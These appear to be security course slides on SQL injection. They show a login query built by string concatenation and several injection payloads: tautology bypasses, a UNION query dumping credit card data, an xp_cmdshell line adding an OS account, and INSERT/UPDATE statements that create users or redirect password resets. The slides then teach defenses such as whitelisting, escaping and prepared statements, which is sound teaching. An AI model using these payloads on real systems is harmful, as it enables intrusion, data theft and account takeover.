  • 58. slide 58 Authentication with Back-End DB • set UserFound=execute( “SELECT * FROM UserTable WHERE username=‘ ” & form(“user”) & “ ′ AND password= ‘ ” & form(“pwd”) & “ ′ ” ); – User supplies username and password, this SQL query checks if user/password combination is in the database • If not UserFound.EOF Authentication correct else Fail Only true if the result of SQL query is not empty, i.e., user/pwd is in the database
  • 59. slide 59 Using SQL Injection to Steal Data • User gives username ′ OR 1=1 -- • Web server executes query set UserFound=execute( SELECT * FROM UserTable WHERE username=‘ ′ OR 1=1 -- … ); – Now all records match the query • This returns the entire database! Always true! Everything after -- is ignored!
  • 60. slide 60 Another SQL Injection Example • To authenticate logins, server runs this SQL command against the user database: SELECT * WHERE user=‘name’ AND pwd=‘passwd’ • User enters ’ OR WHERE pwd LIKE `% as both name and passwd • Server executes SELECT * WHERE user=‘’ OR WHERE pwd LIKE `%’ AND pwd=‘’ OR WHERE pwd LIKE `%’ • Logs in with the credentials of the first person in the database (typically, administrator!) [From “The Art of Intrusion”] Wildcard matches any password
  • 61. slide 61 Worse Yet … • User gives username ′ exec cmdshell ’net user badguy badpwd’ / ADD -- • Web server executes query set UserFound=execute( SELECT * FROM UserTable WHERE username=‘ ′ exec … -- … ); • Creates an account for badguy on DB server
  • 62. Pull Data From Other Databases • User gives username ’ AND 1=0 UNION SELECT cardholder, number, exp_month, exp_year FROM creditcards • Results of two queries are combined • Empty table from the first query is displayed together with the entire contents of the credit card database slide 62
  • 63. More Attacks • Create new users ’; INSERT INTO USERS (‘uname’,‘passwd’,‘salt’) VALUES (‘hacker’,‘38a74f’, 3234); • Password reset ’; UPDATE USERS SET email=hcker@root.org WHERE email=victim@yahoo.com slide 63
  • 64. Preventing SQL Injection • Input validation – Filter • Apostrophes, semicolons, percent symbols, hyphens, underscores, … • Any character that has special meanings – Check the data type (e.g., make sure it’s an integer) • Whitelisting – Blacklisting “bad” characters doesn’t work • Forget to filter out some characters • Could prevent valid input (e.g., last name O’Brien) – Allow only well-defined set of safe values • Set implicitly defined through regular expressions slide 64
  • 65. Escaping Quotes • For valid string inputs use escape characters to prevent the quote becoming part of the query – Example: escape(o’connor) = o’’connor – Convert ’ into ’ – Only works for string inputs – Different databases have different rules for escaping slide 65
  • 66. Prepared Statements • Metacharacters (e.g. ’) in queries provide distinction between data and control • In most injection attacks data are interpreted as control – this changes the semantics of a query or a command • Bind variables: ? placeholders guaranteed to be data (not control) • Prepared statements allow creation of static queries with bind variables → preserves the structure of intended query slide 66
  • 67. Prepared Statement: Example PreparedStatement ps = db.prepareStatement("SELECT pizza, toppings, quantity, order_day " + "FROM orders WHERE userid=? AND order_month=?"); ps.setInt(1, session.getCurrentUserId()); ps.setInt(2, Integer.parseInt(request.getParamenter("month"))); ResultSet res = ps.executeQuery(); Bind variable: data placeholder • Query parsed without parameters • Bind variables are typed (int, string, …) slide 67 http://java.sun.com/docs/books/tutorial/jdbc/basics/prepared.html
  • 68. Mitigating Impact of Attack • Prevent leakage of database schema and other information • Limit privileges (defense in depth) • Encrypt sensitive data stored in database • Harden DB server and host OS • Apply input validation slide 68